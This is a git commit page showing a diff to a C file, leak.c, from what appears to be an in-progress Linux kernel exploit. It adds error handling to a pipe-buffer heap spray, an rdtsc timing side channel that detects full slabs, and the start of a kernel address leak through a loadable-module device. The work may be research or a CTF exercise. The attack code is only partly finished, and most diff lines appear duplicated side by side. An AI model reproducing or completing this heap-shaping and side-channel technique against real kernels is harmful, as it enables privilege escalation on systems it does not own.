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structure and errors, starting dpm leak

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twoneis 2025-04-28 20:49:06 +02:00
parent 20f27c7a9f
commit ff990329f6
1 changed files with 34 additions and 11 deletions
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45
code/leak.c
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@ -36,7 +36,7 @@ error(char *origin)
printf("%s: ENFILE\n", origin); printf("%s: ENFILE\n", origin);
break; break;
default: default:
printf("%s: unknown\n", origin); printf("%s: %i: unknown\n", origin, errno);
} }
exit(-1); exit(-1);
} }
@ -67,7 +67,6 @@ int
main(void) main(void)
{ {
printf("main: start\n"); printf("main: start\n");
FILE *device = fopen(LKM_DEVICE, "r+");
printf("main: spray to reduce TLB noise part 1: %u objects\n", printf("main: spray to reduce TLB noise part 1: %u objects\n",
SPRAY / 2); SPRAY / 2);
@ -84,6 +83,7 @@ main(void)
} }
// May need socket and two parts instead // May need socket and two parts instead
FILE *device = fopen(LKM_DEVICE, "r+");
printf("main: fopen: %p\n", device); printf("main: fopen: %p\n", device);
if (!device) { if (!device) {
printf( printf(
@ -97,14 +97,21 @@ main(void)
size_t t_delta; size_t t_delta;
size_t t_prev = -1; size_t t_prev = -1;
size_t last_slab = -1; size_t last_slab = -1;
int found = 0;
for (size_t i = SPRAY / 2; i < SPRAY; i++) { for (size_t i = SPRAY / 2; i < SPRAY; i++) {
pipe2(spray[i], O_NONBLOCK); if (pipe2(spray[i], O_NONBLOCK) < 0) {
error("main: spray two: pipe2");
}
size_t t0 = rdtsc_begin(); size_t t0 = rdtsc_begin();
fcntl(spray[i][0], F_SETPIPE_SZ, 8192); if (fcntl(spray[i][0], F_SETPIPE_SZ, 8192) < 0) {
error("main: spray two: fcntl");
}
size_t t1 = rdtsc_end(); size_t t1 = rdtsc_end();
write(spray[i][1], buffer, 8); if (write(spray[i][1], buffer, 8) < 0) {
error("main: spray two: write");
}
t_delta = t0 - t1; t_delta = t0 - t1;
@ -112,7 +119,9 @@ main(void)
if (last_slab == (size_t)-1) { if (last_slab == (size_t)-1) {
last_slab = i; last_slab = i;
} else if (i - last_slab == OBJS_PER_SLAB) { } else if (i - last_slab == OBJS_PER_SLAB) {
printf("Exit from sidechannel\n"); printf(
"main: spray two: two full slabs detected\n");
found = 1;
break; break;
} else { } else {
last_slab = -1; last_slab = -1;
@ -122,13 +131,27 @@ main(void)
t_prev = t_delta; t_prev = t_delta;
} }
for (size_t i = 0; i < PIPES; i++) { if (!found) {
// Pipe buffer allocation primitive printf(
pipe2(pipes[i], O_NONBLOCK); "main: reached end of spray without detecting two full slabs");
fcntl(pipes[i][0], F_SETPIPE_SZ, 8192); exit(-1);
write(pipes[i][1], buffer, 8);
} }
printf("main: pipe allocation primitive: %i\n", PIPES);
for (size_t i = 0; i < PIPES; i++) {
if (pipe2(spray[i], O_NONBLOCK) < 0) {
error("main: spray one: pipe2");
}
if (fcntl(spray[i][0], F_SETPIPE_SZ, 8192) < 0) {
error("main: spray one: fcntl");
}
if (write(spray[i][1], buffer, 8) < 0) {
error("main: spray one: write");
}
}
size_t dpm_base;
fclose(device); fclose(device);
printf("main: done\n"); printf("main: done\n");
} }